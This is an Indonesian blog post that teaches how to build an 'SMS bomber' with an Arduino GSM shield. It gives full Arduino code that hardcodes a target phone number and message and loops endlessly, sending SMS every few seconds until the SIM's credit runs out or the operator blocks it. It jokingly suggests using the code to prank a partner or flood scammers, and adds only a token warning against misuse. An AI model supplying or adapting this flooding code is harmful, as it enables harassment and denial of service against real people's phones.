Berikut ini salah satu contoh penggunaan teknologi. Saya mempostingnya bukan bermaksud mengajari berbuat salah, tapi supaya teman-teman tau, mengerti ilmunya, atau buat sedikit lucu-lucuan boleh he.... :P.
Buat ngebom "mama minta pulsa" juga boleh. hehe....
Ilmu membunuh itu wajib dipelajari (bagi yg sampai makomnya), tapi membunuh itu jangan pernah anda lakukan. Buat apa? Dokter forensik pasti belajar ilmu membunuh agar dapat mengetahui sebab, cara, waktu dan tempat korban terbunuh (kebanyakan lihat NCIS sih.... hehe.....) Ilmu mencuri, sebagian besar polisi tau dan mempelajari, agar dapat menangkap pencuri.
Ceritanya sudah dulu ya. kita langsung ke pokok masalah. Eh udah mupeng ya? Mau ngusilin pacarnya.... Hayo kamu ketahuan :) :P
Bahan apa saja yang diperlukan?
- GSMduino atau Shield GSM beserta ARDUINOnya. Buat Hardware sendiri juga boleh he...
- Power Suplay 12V/2A
- SIMCARD yang ada pulsanya. Harusnya sih pulsanya buannnyak.... Kan mau buat ngeboom..
Hehe... ngiklan ya saya. Kartu apa saja bisa dipakai kok. Yang penting pulsanya banyak.
- PC dengan aplikasi ARDUINO. Kalo belum punya aplikasinya silahkan download di sini dulu.
- Program Boom yang akan kita bahas.
Wokeh langsung saja. Berdasarkan ngelmu yang kita dapat posting-posting terdahulu, yaitu sendSMS, jika nomer SMS dan kalimat SMS kita tetapkan, dan di dalam loop tidak terdapat permintaan masukan maka akan jadi looping kirim SMS kenomer yang sama berulang-ulang hingga;
- pulsa habis. Tergantung anda ngisi pulsanya berapa he...
- diblokir operator. kejadian diblokir oleh operator juka sudah ratusan SMS terkirim atau ada laporan dari yang punya nomor yang kena boom.
/* SMS sender This sketch, for the Arduino GSM shield,sends an SMS message you enter in the serial monitor. Connect your Arduino with the GSM shield and SIM card, open the serial monitor, and wait for the "READY" message to appear in the monitor. Next, type a message to send and press "return". Make sure the serial monitor is set to send a newline when you press return. Circuit: * GSM shield * SIM card that can send SMS created 25 Feb 2012 by Tom Igoe This example is in the public domain. http://arduino.cc/en/Tutorial/GSMExamplesSendSMS */ // Include the GSM library #include <GSM.h>; #define PINNUMBER "" // initialize the library instance GSM gsmAccess; GSM_SMS sms; void setup() { // initialize serial communications and wait for port to open: Serial.begin(9600); while (!Serial) { ; // wait for serial port to connect. Needed for Leonardo only } Serial.println("SMS Messages Sender"); // connection state boolean notConnected = true; //================================================================== bool resp; char auxLocate1 [4]; theGSM3ShieldV1ModemCore.gss.begin(9600); gsmAccess.prepareAuxLocate(PSTR("OK"), auxLocate1); theGSM3ShieldV1ModemCore.genericCommand_rq(PSTR("AT")); delay(400); theGSM3ShieldV1ModemCore.genericParse_rsp(resp, auxLocate1); if(resp) { gsmAccess.ModemConfiguration(PINNUMBER); notConnected = false; } //================================================================== // Start GSM shield // If your SIM has PIN, pass it as a parameter of begin() in quotes while(notConnected) { if(gsmAccess.begin(PINNUMBER)==GSM_READY) notConnected = false; else { Serial.println("Not connected"); delay(1000); } } Serial.println("GSM initialized"); theGSM3ShieldV1ModemCore.setStatus(GSM_READY);} void loop() { Serial.print("Enter a mobile number: "); char remoteNum[20]; // telephone number to send sms readSerial(remoteNum); Serial.println(remoteNum); // sms text Serial.print("Now, enter SMS content: "); char txtMsg[200]; readSerial(txtMsg); Serial.println("SENDING"); Serial.println(); Serial.println("Message:"); Serial.println(txtMsg); // send the message sms.beginSMS(remoteNum); sms.print(txtMsg); sms.endSMS(); Serial.println("\nCOMPLETE!\n"); } /* Read input serial */ int readSerial(char result[]) { int i = 0; while(1) { while (Serial.available() > 0) { char inChar = Serial.read(); if (inChar == '\n') { result[i] = '\0'; Serial.flush(); return 0; } if(inChar!='\r') { result[i] = inChar; i++; } } } }
Pada baris;
char remoteNum[20]; // telephone number to send sms readSerial(remoteNum); Serial.println(remoteNum); // sms text Serial.print("Now, enter SMS content: "); char txtMsg[200]; readSerial(txtMsg); Serial.println("SENDING"); Serial.println(); Serial.println("Message:"); Serial.println(txtMsg);
Kita hilangkan dan kita ganti;
char remoteNum[20]="08123456xxxx"; // Ganti dengan Nomor HP yang mau di BOOM char txtMsg[200]="ini Boom SMS"; // Kalimat SMS delay(3000);
Program Lengkapnya adalah sebagai berikut;
/* SMS sender This sketch, for the Arduino GSM shield,sends an SMS message you enter in the serial monitor. Connect your Arduino with the GSM shield and SIM card, open the serial monitor, and wait for the "READY" message to appear in the monitor. Next, type a message to send and press "return". Make sure the serial monitor is set to send a newline when you press return. Circuit: * GSM shield * SIM card that can send SMS created 25 Feb 2012 by Tom Igoe This example is in the public domain. http://arduino.cc/en/Tutorial/GSMExamplesSendSMS */ // Include the GSM library #include <GSM.h> #define PINNUMBER "" // initialize the library instance GSM gsmAccess; GSM_SMS sms; void setup() { // initialize serial communications and wait for port to open: Serial.begin(9600); while (!Serial) { ; // wait for serial port to connect. Needed for Leonardo only } Serial.println("SMS Messages Sender"); // connection state boolean notConnected = true; //================================================================== bool resp; char auxLocate1 [4]; theGSM3ShieldV1ModemCore.gss.begin(9600); gsmAccess.prepareAuxLocate(PSTR("OK"), auxLocate1); theGSM3ShieldV1ModemCore.genericCommand_rq(PSTR("AT")); delay(400); theGSM3ShieldV1ModemCore.genericParse_rsp(resp, auxLocate1); if(resp) { gsmAccess.ModemConfiguration(PINNUMBER); notConnected = false; } //================================================================== // Start GSM shield // If your SIM has PIN, pass it as a parameter of begin() in quotes while(notConnected) { if(gsmAccess.begin(PINNUMBER)==GSM_READY) notConnected = false; else { Serial.println("Not connected"); delay(1000); } } Serial.println("GSM initialized"); theGSM3ShieldV1ModemCore.setStatus(GSM_READY); } void loop() { /* Serial.print("Enter a mobile number: "); char remoteNum[20]; // telephone number to send sms readSerial(remoteNum); Serial.println(remoteNum); // sms text Serial.print("Now, enter SMS content: "); char txtMsg[200]; readSerial(txtMsg); Serial.println("SENDING"); Serial.println(); Serial.println("Message:"); Serial.println(txtMsg); */ char remoteNum[20]="08123456xxxx"; //Ganti dengan Nomor HP yang mau di BOOM char txtMsg[200]="ini Boom SMS"; // Kalimat SMS delay(3000); // send the message sms.beginSMS(remoteNum); sms.print(txtMsg); sms.endSMS(); Serial.println("\nCOMPLETE!\n"); }
Teknologi di tangan saya jadi blog, bagaimana teknologi di tangan anda?
Pesan saya JANGAN DISALAH GUNAKAN YA. :)
No comments:
Post a Comment